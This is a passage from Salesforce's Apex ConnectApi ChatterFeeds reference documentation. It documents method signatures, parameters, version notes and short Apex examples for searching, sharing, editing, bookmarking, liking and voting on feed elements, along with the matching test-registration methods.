setTestSearchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q, result)
Testing ConnectApi Code
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, pageParam,
pageSize, sortParam, q)
Searches the feed items of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize,
sortParam, q).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFilterFeed(String communityId,
String subjectId, String keyPrefix, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
1016
ChatterFeeds ClassReference
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix, pageParam, pageSize, sortParam, q, result)
Testing ConnectApi Code
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix,
recentCommentCount, density, pageParam, pageSize, sortParam, q)
Searches the feed items of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order. Each feed
item includes no more than the specified number of comments.
1017
ChatterFeeds ClassReference
API Version
29.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount,
density, pageParam, pageSize, sortParam, q).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFilterFeed(String communityId,
String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String
q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
1018
ChatterFeeds ClassReference
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix, recentCommentCount, density, pageParam,
pageSize, sortParam, q, result)
Testing ConnectApi Code
setFeedCommentStatus(communityId, commentId, status)
Set the status of a comment.
API Version
38.0
Requires Chatter
Yes
Signature
public static ConnectApi.StatusCapability setFeedCommentStatus(String communityId,
String commentId, ConnectApi.StatusCapabilityInput status)
1019
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
ID of the comment.
status
Type: ConnectApi.StatusCapabilityInput
A ConnectApi.StatusCapabilityInput object that includes the status you want to set.
Return Value
Type: ConnectApi.StatusCapability
If the comment doesn’t support this capability, the return value is ConnectApi.NotFoundException.
Usage
Only users with the “Can Approve Feed Post and Comment” permission can set the status of a feed post or comment.
setFeedEntityStatus(communityId, feedElementId, status)
Set the status of a feed post.
API Version
37.0
Requires Chatter
Yes
Signature
public static ConnectApi.StatusCapability setFeedEntityStatus(String communityId, String
feedElementId, ConnectApi.StatusCapabilityInput status)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
ID of the feed element.
1020
ChatterFeeds ClassReference
status
Type: ConnectApi.StatusCapabilityInput
A ConnectApi.StatusCapabilityInput object that includes the status you want to set.
Return Value
Type: ConnectApi.StatusCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
Usage
Only users with the “Can Approve Feed Post and Comment” permission can set the status of a feed post or comment.
setIsMutedByMe(communityId, feedElementId, isMutedByMe)
Mute or unmute a feed element.
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.MuteCapability setIsMutedByMe(String communityId, String
feedElementId, Boolean isMutedByMe)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
ID of the feed element.
isMutedByMe
Type: Boolean
Indicates whether the feed element is muted for the context user. Default value is false.
Return Value
Type: ConnectApi.MuteCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
1021
ChatterFeeds ClassReference
shareFeedElement(communityId, subjectId, feedElementType,
originalFeedElementId)
Share the originalFeedElementId as the context user.
API Version
31.0–38.0
Important: In version 39.0 and later, use postFeedElement(communityId, feedElement) or
updateFeedElement(communityId, feedElementId, feedElement) with the ConnectApi.
FeedEntityShareCapabilityInput to share a feed entity with a feed element.
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElement shareFeedElement(String communityId, String
subjectId, ConnectApi.FeedElementType feedElementType, String originalFeedElementId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the user or group with whom to share the feed element.
feedElementType
Type: ConnectApi.FeedElementType
Values are:
•Bundle—A container of feed elements. A bundle also has a body made up of message segments that can always be gracefully
degraded to text-only values.
•FeedItem—A feed item has a single parent and is scoped to one community or across all communities. A feed item can have
capabilities such as bookmarks, canvas, content, comment, link, poll. Feed items have a body made up of message segments
that can always be gracefully degraded to text-only values.
•Recommendation—A recommendation is a feed element with a recommendations capability. A recommendation suggests
records to follow, groups to join, or applications that are helpful to the context user.
originalFeedElementId
Type: String
The ID of the feed element to share.
Return Value
Type: ConnectApi.FeedElement
1022
ChatterFeeds ClassReference
Example
ConnectApi.ChatterFeeds.shareFeedElement(null,'0F9RR0000004CPw',
ConnectApi.FeedElementType.FeedItem, '0D5RR0000004Gxc');
shareFeedItem(communityId, feedType, subjectId, originalFeedItemId)
Share the originalFeedItemId to the feed specified by the feedType.
API Version
28.0–31.0
Important:
•In version 32.0–38.0, use shareFeedElement(communityId, subjectId, feedElementType,
originalFeedElementId).
•In version 39.0 and later, use postFeedElement(communityId, feedElement) or
updateFeedElement(communityId, feedElementId, feedElement) with the ConnectApi.
FeedEntityShareCapabilityInput.
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItem shareFeedItem(String communityId, ConnectApi.FeedType
feedType, String subjectId, String originalFeedItemId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
One of the following:
•News
•Record
•UserProfile
To share a feed item with a group, use Record and use a group ID as the subjectId.
subjectId
Type: String
The value depends on the value of feedType:
•News—subjectId must be the ID of the context user or the keyword me.
•Record—subjectId can be a group ID or the ID of the context user (or me).
1023
ChatterFeeds ClassReference
•UserProfile—subjectId can be any user ID.
originalFeedItemId
Type: String
The ID of the feed item to share.
Return Value
Type: ConnectApi.FeedItem
Example
To share a feed item with a group, pass in to this method the community ID (or null), the feed type Record, the group ID, and the
ID of the feed item to share.
ConnectApi.ChatterFeeds.shareFeedItem(null, ConnectApi.FeedType.Record, '0F9D00000000izf',
'0D5D0000000JuAG');
updateBookmark(communityId, feedItemId, isBookmarkedByCurrentUser)
Bookmarks the specified feed item or removes a bookmark from the specified feed item.
API Version
28.0–31.0
Important: In version 32.0 and later, use updateFeedElementBookmarks(communityId, feedElementId, bookmarks),
updateFeedElementBookmarks(communityId, feedElementId, bookmarks), or updateFeedElementBookmarks(communityId,
feedElementId, isBookmarkedByCurrentUser).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItem updateBookmark(String communityId, String feedItemId,
Boolean isBookmarkedByCurrentUser)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
isBookmarkedByCurrentUser
Type: Boolean
—Specifying true adds the feed item to the list of bookmarks for the context user. Specify false to remove a bookmark.
1024
ChatterFeeds ClassReference
Return Value
Type: ConnectApi.FeedItem
updateComment(communityId, commentId, comment)
Edits a comment.
API Version
34.0
Requires Chatter
Yes
Signature
public static ConnectApi.Comment updateComment(String communityId, String commentId,
ConnectApi.CommentInput comment)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
ID of the comment to be edited.
comment
Type: ConnectApi.CommentInput
Information about the comment to be edited.
Return Value
Type: ConnectApi.Comment
If the comment doesn’t support the edit capability, the return value is ConnectApi.NotFoundException.
Example
String commentId;
String communityId = Network.getNetworkId();
// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
1025
ChatterFeeds ClassReference
}
String feedElementId = feedItems[0].id;
ConnectApi.CommentPage commentPage =
ConnectApi.ChatterFeeds.getCommentsForFeedElement(communityId, feedElementId);
if (commentPage.items.isEmpty()) {
// Return null within anonymous apex.
return null;
}
commentId = commentPage.items[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isCommentEditableByMe(communityId, commentId);
if (isEditable.isEditableByMe == true){
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'This is my edited comment.';
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;
ConnectApi.Comment editedComment = ConnectApi.ChatterFeeds.updateComment(communityId,
commentId, commentInput);
}
updateFeedElement(communityId, feedElementId, feedElement)
Edits a feed element. Feed items are the only type of feed element that can be edited.
API Version
34.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElement updateFeedElement(String communityId, String
feedElementId, ConnectApi.FeedElementInput feedElement)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1026
ChatterFeeds ClassReference
feedElementId
Type: String
ID of the feed element to be edited. Feed items are the only type of feed element that can be edited.
feedElement
Type: ConnectApi.FeedElementInput
Information about the feed element to be edited. Feed items are the only type of feed element that can be edited.
Return Value
Type: ConnectApi.FeedElement
If the feed element doesn’t support the edit capability, the return value is ConnectApi.NotFoundException.
Example for Editing a Feed Post
String communityId = Network.getNetworkId();
// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
}
String feedElementId = feedItems[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);
if (isEditable.isEditableByMe == true){
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'This is my edited post.';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}
Example for Editing a Question Title and Post
String communityId = Network.getNetworkId();
// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
1027
ChatterFeeds ClassReference
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
}
String feedElementId = feedItems[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);
if (isEditable.isEditableByMe == true){
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.QuestionAndAnswersCapabilityInput questionAndAnswersCapabilityInput = new
ConnectApi.QuestionAndAnswersCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'This is my edited question.';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedElementCapabilitiesInput.questionAndAnswers = questionAndAnswersCapabilityInput;
questionAndAnswersCapabilityInput.questionTitle = 'Where is my edited question?';
ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}
updateFeedElementBookmarks(communityId, feedElementId, bookmarks)
Bookmark or unbookmark a feed element by passing a ConnectApi.BookmarksCapabilityInput object.
API Version
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.BookmarksCapability updateFeedElementBookmarks(String
communityId, String feedElementId, ConnectApi.BookmarksCapabilityInput bookmarks)
1028
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
bookmarks
Type: ConnectApi.BookmarksCapabilityInput
Information about a bookmark.
Return Value
Type: ConnectApi.BookmarksCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
updateFeedElementBookmarks(communityId, feedElementId,
isBookmarkedByCurrentUser)
Bookmark or unbookmark a feed element by passing a boolean value.
API Version
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.BookmarksCapability updateFeedElementBookmarks(String
communityId, String feedElementId, Boolean isBookmarkedByCurrentUser)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
isBookmarkedByCurrentUser
Type: Boolean
Specify whether to bookmark the feed element (true) or not (false).
1029
ChatterFeeds ClassReference
Return Value
Type: ConnectApi.BookmarksCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
Example
ConnectApi.BookmarksCapability bookmark =
ConnectApi.ChatterFeeds.updateFeedElementBookmarks(null,'0D5D0000000KuGh',true);
updateLikeForComment(communityId, commentId, isLikedByCurrentUser)
Like or unlike a comment.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage updateLikeForComment(String communityId, String
commentId, Boolean isLikedByCurrentUser)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
ID of the comment.
isLikedByCurrentUser
Type: Boolean
Specifies if the context user likes (true) or unlikes (false) the comment.
Return Value
Type: ConnectApi.ChatterLikePage
updateLikeForFeedElement(communityId, feedElementId, isLikedByCurrentUser)
Like or unlike a feed element.
1030
ChatterFeeds ClassReference
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage updateLikeForFeedElement(String communityId,
String feedElementId, Boolean isLikedByCurrentUser)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
ID of the feed element.
isLikedByCurrentUser
Type: Boolean
Specifies if the context user likes (true) or unlikes (false) the feed element.
Return Value
Type: ConnectApi.ChatterLikePage
If the feed element doesn’t support the ChatterLikes capability, the return value is ConnectApi.NotFoundException.
updateStream(communityId, streamId, streamInput)
Update a Chatter feed stream.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterStream updateStream(String communityId, String streamId,
ConnectApi.ChatterStreamInput streamInput)
1031
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
streamId
Type: String
ID of the Chatter feed stream.
streamInput
Type: ConnectApi.ChatterStreamInput
A ConnectApi.ChatterStreamInput object.
Return Value
Type: ConnectApi.ChatterStream
voteOnFeedElementPoll(communityId, feedElementId, myChoiceId)
Vote on a poll or change your vote on a poll.
API Version
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.PollCapability voteOnFeedElementPoll(String communityId, String
feedElementId, String myChoiceId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
myChoiceId
Type: String
The ID of the poll item to vote for. The key prefix for poll items is 09A.
1032
ChatterFeeds ClassReference
Return Value
Type: ConnectApi.PollCapability Class
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
Example
ConnectApi.PollCapability poll = ConnectApi.ChatterFeeds.voteOnFeedElementPoll(null,
'0D5D0000000XZaUKAW','09AD000000000TKMAY');
voteOnFeedPoll(communityId, feedItemId, myChoiceId)
Used to vote or to change your vote on an existing feed poll.
API Version
28.0–31.0
Important: In version 32.0 and later, use voteOnFeedElementPoll(communityId, feedElementId, myChoiceId).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedPoll voteOnFeedPoll(String communityId, String feedItemId,
String myChoiceId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
Specify the feed item that is associated with the poll.
myChoiceId
Type: String
Specify the ID of the item in the poll to vote for.
Return Value
Type: ConnectApi.FeedPoll
ChatterFeeds Test Methods
The following are the test methods for ChatterFeeds. All methods are static.
1033
ChatterFeeds ClassReference
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.
setTestGetFeedElementsFromFeed(communityId, feedType, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType)
Testing ConnectApi Code
setTestGetFeedElementsFromFeed(communityId, feedType, pageParam, pageSize,
sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
31.0
1034
ChatterFeeds ClassReference
Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The only valid value for this parameter is Company.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
Testing ConnectApi Code
1035
ChatterFeeds ClassReference
setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount,
density, pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
1036
ChatterFeeds ClassReference
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount,
density, pageParam, pageSize, sortParam, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
32.0
Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedFilter filter,
ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
1037
ChatterFeeds ClassReference
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a best answer.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
1038
ChatterFeeds ClassReference
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter)
Testing ConnectApi Code
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The feed type.
subjectId
Type: String
The ID of the context user or the alias me.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId)
Testing ConnectApi Code
1039
ChatterFeeds ClassReference
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, pageParam,
pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
1040
ChatterFeeds ClassReference
If you pass in null, the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
recentCommentCount
Type: Integer
1041
ChatterFeeds ClassReference
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
